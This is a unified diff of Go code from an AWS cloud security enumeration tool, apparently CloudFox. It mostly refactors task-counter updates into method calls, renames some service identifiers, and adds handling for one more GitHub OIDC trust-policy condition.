@@ -292,7 +292,7 @@ func (m *OrgModule) addOrgAccount() {
|
||||
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Errorf("Failed to describe organization: %s", err)
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
m.Accounts = append(m.Accounts, Account{
|
||||
|
||||
@@ -171,7 +171,7 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputDir
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -308,10 +308,10 @@ func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup,
|
||||
}
|
||||
if res {
|
||||
// wg.Add(1)
|
||||
// m.CommandCounter.Total++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
// m.getAssumeRoleLogEntriesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getCrossAccountBatchGetImageEntriesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -319,8 +319,8 @@ func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -358,7 +358,7 @@ func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string,
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -412,8 +412,8 @@ func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string,
|
||||
// get cross account batch get image entries
|
||||
func (m *OutboundAssumedRolesModule) getCrossAccountBatchGetImageEntriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -451,7 +451,7 @@ func (m *OutboundAssumedRolesModule) getCrossAccountBatchGetImageEntriesPerRegio
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -197,7 +197,7 @@ func (m *IamPermissionsModule) GetGAAD() {
|
||||
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -446,7 +446,7 @@ func (m *PmapperModule) writeLoot(outputDirectory string, verbosity int) string
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
lootFilePath := filepath.Join(path, "pmapper.txt")
|
||||
|
||||
+8
-8
@@ -97,7 +97,7 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
// done := make(chan bool)
|
||||
// go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, done)
|
||||
// wg.Add(1)
|
||||
// m.CommandCounter.Pending++
|
||||
// m.CommandCounter.IncrPending()
|
||||
//m.executeChecks(wg)
|
||||
// wg.Wait()
|
||||
// done <- true
|
||||
@@ -237,13 +237,13 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
|
||||
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF APPLICABLE
|
||||
func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
m.getIAMUsers()
|
||||
m.getIAMRoles()
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}
|
||||
*/
|
||||
|
||||
@@ -256,7 +256,7 @@ func (m *IamPrincipalsModule) addIAMUsersToTable() {
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, user := range ListUsers {
|
||||
@@ -288,7 +288,7 @@ func (m *IamPrincipalsModule) addIAMRolesToTable() {
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, role := range ListRoles {
|
||||
|
||||
+8
-8
@@ -79,7 +79,7 @@ func (m *RAMModule) PrintRAM(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -191,12 +191,12 @@ func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver cha
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
m.getRAMResourcesPerRegion(r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -235,7 +235,7 @@ func (m *RAMModule) getRAMResourcesPerRegion(r string, dataReceiver chan Resourc
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -259,7 +259,7 @@ func (m *RAMModule) getRAMResourcesPerRegion(r string, dataReceiver chan Resourc
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+54
-54
@@ -104,7 +104,7 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver, includeKms)
|
||||
|
||||
}
|
||||
@@ -217,7 +217,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -227,7 +227,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getSQSQueuesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -237,7 +237,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -247,7 +247,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -267,17 +267,17 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getSecretsManagerSecretsPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -287,7 +287,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getGlueResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -298,7 +298,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getKMSPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -310,7 +310,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getAPIGatewayPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -322,19 +322,19 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getVPCEndpointPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.OpenSearchClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getOpenSearchPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -356,8 +356,8 @@ func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone ch
|
||||
|
||||
func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -378,7 +378,7 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
@@ -433,8 +433,8 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -516,8 +516,8 @@ func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan s
|
||||
|
||||
func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -539,7 +539,7 @@ func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGrou
|
||||
queue, err := cloudFoxSQSClient.getQueueWithAttributes(q, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -578,8 +578,8 @@ func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -601,7 +601,7 @@ func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGro
|
||||
repoPolicy, err := cloudFoxECRClient.getECRRepositoryPolicy(r, aws.ToString(repo.RepositoryName))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -642,8 +642,8 @@ func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGro
|
||||
|
||||
func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -666,7 +666,7 @@ func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, w
|
||||
project, err := sdk.CachedCodeBuildBatchGetProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -716,8 +716,8 @@ func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, w
|
||||
|
||||
func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -739,7 +739,7 @@ func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitG
|
||||
functionPolicy, err := cloudFoxLambdaClient.getResourcePolicy(r, aws.ToString(f.FunctionName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -781,8 +781,8 @@ func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitG
|
||||
|
||||
func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -804,7 +804,7 @@ func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *s
|
||||
fsPolicy, err := sdk.CachedDescribeFileSystemPolicy(cloudFoxEFSClient.EFSClient, aws.ToString(fs.FileSystemId), r, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -851,8 +851,8 @@ func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *s
|
||||
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
|
||||
func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -874,7 +874,7 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
|
||||
secretPolicy, err := sdk.CachedSecretsManagerGetResourcePolicy(cloudFoxSecretsManagerClient, aws.ToString(s.ARN), r, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -921,8 +921,8 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
|
||||
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
|
||||
func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
@@ -942,7 +942,7 @@ func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGr
|
||||
keyPolicy, err := sdk.CachedKMSGetKeyPolicy(*m.KMSClient, aws.ToString(m.Caller.Account), r, aws.ToString(key.KeyId))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -985,8 +985,8 @@ func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
@@ -1016,7 +1016,7 @@ func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync
|
||||
restAPIPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(restAPI.Name), err))
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1063,8 +1063,8 @@ func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync
|
||||
|
||||
func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
@@ -1086,7 +1086,7 @@ func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *syn
|
||||
vpcEndpointPolicy, err := policy.ParseJSONPolicy([]byte(vpcEndpointPolicyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(vpcEndpoint.VpcEndpointId), err))
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1133,8 +1133,8 @@ func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *syn
|
||||
|
||||
func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
@@ -1153,7 +1153,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
|
||||
openSearchDomainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1167,7 +1167,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
|
||||
openSearchDomainStatus, err := sdk.CachedOpenSearchDescribeDomain(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1179,7 +1179,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
|
||||
openSearchDomainPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(openSearchDomainStatus.ARN), err))
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1226,8 +1226,8 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
|
||||
|
||||
func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
|
||||
+4
-2
@@ -466,6 +466,8 @@ func parseFederatedTrustPolicy(statement policy.RoleTrustStatementEntry) (string
|
||||
subjects = append(subjects, statement.Condition.StringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.StringEquals.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.StringEquals.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else {
|
||||
subjects = append(subjects, "ALL REPOS!!!")
|
||||
}
|
||||
@@ -588,14 +590,14 @@ func (m *RoleTrustsModule) getAllRoleTrusts() {
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, role := range ListRoles {
|
||||
trustsdoc, err := policy.ParseRoleTrustPolicyDocument(role)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+5
-5
@@ -146,7 +146,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
route53ARecordsPublicZonesFileName := filepath.Join(path, "route53-A-records-public-Zones.txt")
|
||||
@@ -168,7 +168,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(route53ARecordsPublicZonesFileName, []byte(route53APublicRecords), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
|
||||
@@ -186,7 +186,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(route53ARecordsPrivateZonesFileName, []byte(route53APrivateRecords), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
|
||||
@@ -212,7 +212,7 @@ func (m *Route53Module) getRoute53Records() {
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -228,7 +228,7 @@ func (m *Route53Module) getRoute53Records() {
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
for _, record := range Records {
|
||||
|
||||
+19
-19
@@ -82,7 +82,7 @@ func (m *SecretsModule) PrintSecrets(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
